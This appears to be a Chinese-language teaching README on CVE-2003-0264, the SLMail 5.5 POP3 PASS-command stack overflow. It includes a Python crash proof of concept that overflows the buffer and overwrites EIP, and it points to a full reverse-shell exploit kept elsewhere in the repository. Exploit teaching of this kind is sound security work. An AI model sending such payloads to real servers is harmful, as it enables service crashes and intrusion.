经典的基于栈的缓冲区溢出漏洞,展示了早期邮件服务器如何因过大的 SMTP 和 POP3 命令而遭受攻击。
此仓库是我在教授内存损坏漏洞利用时使用的材料的一部分(除日常工作外,我还在不同的网络安全课程中授课,帮助培养新一代逆向工程师)。
CVE-2003-0264 是我在教授基于网络协议的经典栈缓冲区溢出时最先介绍的案例之一。该漏洞清晰、文档完善,且利用路径直接——无需 SEH、无需 EggHunter、没有空间限制。学生只需发送 payload、覆盖 EIP、跳转到 JMP ESP gadgets 即可获得 shell。正是这种简洁性使其成为入门阶段的理想起点。
SLMail 5.5 是一款传统的 Windows 邮件服务器。该漏洞存在于 POP3 服务的 PASS 命令处理程序中,该处理程序直接将用户输入复制到固定大小的栈缓冲区中,未做任何长度校验。该案例之所以特别适用于教学,在于其极少的变动部件:
这种组合——网络可达、无需认证、直接覆盖 EIP、无现代缓解措施——使 CVE-2003-0264 成为在当今 Windows 版本上仍能运行的、最经典的栈溢出真实案例之一。
SLMail 是一款 Windows 邮件服务器,提供 SMTP、POP3 和管理服务。POP3 服务监听 TCP 端口 110,处理标准的邮件检索命令。该漏洞存在于 PASS 命令处理程序中,该程序处理客户端发送的密码参数。
关键技术细节如下:
SLMail 的 POP3 服务在处理 PASS 命令时,会使用一个不安全的函数将提供的密码参数复制到固定大小的栈缓冲区中,且未进行长度检查。漏洞逻辑的简化版本如下:
char password_buffer[256];
strcpy(password_buffer, pass_argument);
向 PASS 参数发送足够长的字符串会导致复制操作写入缓冲区末尾之外,破坏栈结构,直至覆盖保存的返回地址。当函数返回时,CPU 从栈中加载攻击者控制的值到 EIP 并跳转到该地址。
可以通过在 POP3 上发送过长的 PASS 参数来重现崩溃,无需有效凭证。使用 Python 的示例如下:
import socket
HOST = '127.0.0.1'
PORT = 110
payload = b"A" * 3000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
s.recv(1024)
s.send(b"USER username\r\n")
s.recv(1024)
s.send(b"PASS " + payload + b"\r\n")
s.close()
在调试器中执行时,崩溃显示 EIP 被用户控制的数据覆盖:
EIP = 41414141
确认保存的返回地址已被溢出破坏。
此仓库的目标不仅仅是演示崩溃,而是逐步展示完整的利用过程,从模糊测试到获得可工作的反向 shell。
为了保持主 README 的简洁,详细的利用说明、脚本和调试器步骤存放在此仓库的 Vulnerability 📂 文件夹中。
在那里,您可以找到用于利用此 CVE 的完整工作流程,包括: